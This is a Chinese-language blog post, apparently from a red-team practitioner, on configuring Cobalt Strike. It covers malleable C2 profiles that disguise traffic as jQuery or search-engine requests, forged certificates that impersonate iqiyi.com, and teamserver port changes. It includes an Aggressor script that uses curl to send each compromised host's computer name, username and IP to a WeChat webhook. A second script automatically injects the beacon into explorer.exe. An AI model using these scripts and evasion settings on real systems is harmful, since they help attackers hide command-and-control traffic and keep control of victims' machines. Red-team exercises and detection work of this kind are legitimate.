CobaltStrike的一些配置

CobaltStrike的一些配置

Scroll Down

主要记录一下Teamserver端口、C2 Profile的配置、上线通知的配置、证书修改的配置、上线自动进程注入,一些比较常用修改手段,让我们在HW中可以更好的使用CobaltStrike。

1.C2 Profile的配置

C2 Profile我用的github上面找的,可以自行找个修改下。或者按照自己的思路进行伪装,例如伪装成bing搜索的C2 profile,但是好像很多APT组织用这个(不是很推荐,因为我看过启明分析APT时说过他们可以检测到此类profile的流量了)。不过我们可以自行更改成baidu这些搜索引擎。

我主要用的C2 Profile是https://github.com/threatexpress/malleable-c2/

这个可以伪装成jquery的通信,主要看到其他大佬在实践中用过。

选择对应cs版本下载,我这里用的4.0版本。

根据自己需要修改内容,一般修改证书配置就行了。

但是我修改了User-Agent(浏览器访问头)、SSL CERTIFICATE(证书配置)、Sleep Times(默认心跳时间)、TCP Beacon(被控端起的端口)、DNS beacons中的dns_idle(DNS上线时解析IP地址)、Staging process中的Server字段(服务器类型)等

其实认真研究下的话,完全可以做一个属于自己的c2profile。

国外喜欢用youtube和bing这类来做,我们可以根据国内的网站来修改下就行。
思路大致时这样的。

可以参考:
https://xz.aliyun.com/t/2796

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

2.上线通知的配置

上线通知我觉得这个的确很有必要,网上也有很多类似的文章。跟我最先自己研究的上线通知也差不多。

微信通知:(我自己当时修改的):
也是使用的方糖来通知

# author: Helloleader

# ------------ set these config: ------------
$teamserver_hostname = 'Cobalt Strike Server';    # You will reveive message containing it
# -------------------------------------------

$ft_bot_webhookURL = 'https://sc.ftqq.com/xxxxxx.send';

$text_title = 'Hello,leader!';
$test_message = 'this is a test message, test success';

@curl_command = @('curl', '-X', 'POST','--data-urlencode', 'text='.$text_title,'--data-urlencode','desp='.$test_message, $tg_bot_webhookURL);
exec(@curl_command);

on beacon_initial {
    println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
    local('$internalIP $computerName $userName');
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $title = 'GoodNews';
    $message = 'Message from '.$teamserver_hostname.' Server%0aBeacon success implant Info Target:%0aComputer name : '.$computerName.'%0aUsername : '.$userName.'%0aIpaddres : '.$internalIP;
    @curl_command = @('curl', '-X', 'POST','--data', 'text='.$title,'--data', 'desp='.$message, $tg_bot_webhookURL);
    exec(@curl_command);
}

网上有个现有比较成熟的项目:
https://github.com/evi1ox/cobalt_strike_bot

我使用的里面的钉钉通知,挺好用的。

Snipaste_20200720_104906.jpg

3.证书修改的配置

keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias iqiyi.com -dname "CN=iqiyi, OU=iqiyi, O=IQiyi, L=Beijing, ST=Beijing, C=CN"

注意: 需要在profile中修改对应密码。

    #set keystore "/pathtokeystore";  指定store文件路径
    #set password "password";   指定证书密码

并且,需要将生成的store文件,替换到cs的目录下。

4.上线自动进程注入

google到一个大佬的现有脚本,我自己测试过,没什么问题,可以使用成功(3.14版本,4.0没测试过)。

on beacon_initial
{
 sub callback
 {
  $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
  $listener = "443";
  if ($2  ismatch $regex)
  {
   $pid = matched()[1];
   $inject_pid = $pid;
   if (-is64 $1)
   {
    $arch = "x64";
   }
   else
   {
    $arch = "x86";
   }
   binject($1, $pid, $listener, $arch);
  }
 }
 if($inject_pid != beacon_info($1,"pid"))
 {
  bps($1, &callback);
 }
}

还有两个现成的类似项目:(没测试过)

https://github.com/eaneatfruit/Aggro/blob/f48900a73173256ebeecc7e4ac6905421df06a6c/threatexpress/beacon_handler/modules/automigrate.cna

Beacon Handler Suite

5.Teamserver端口

直接用编辑器打开teamserver文件,修改第五十七行内容。

Snipaste_20200720_110459.jpg

最好也在这里修改下证书路径和密码,因为怕有时候c2profile配置出错,导致上线后因为证书问题,执行不了命令,一执行就断。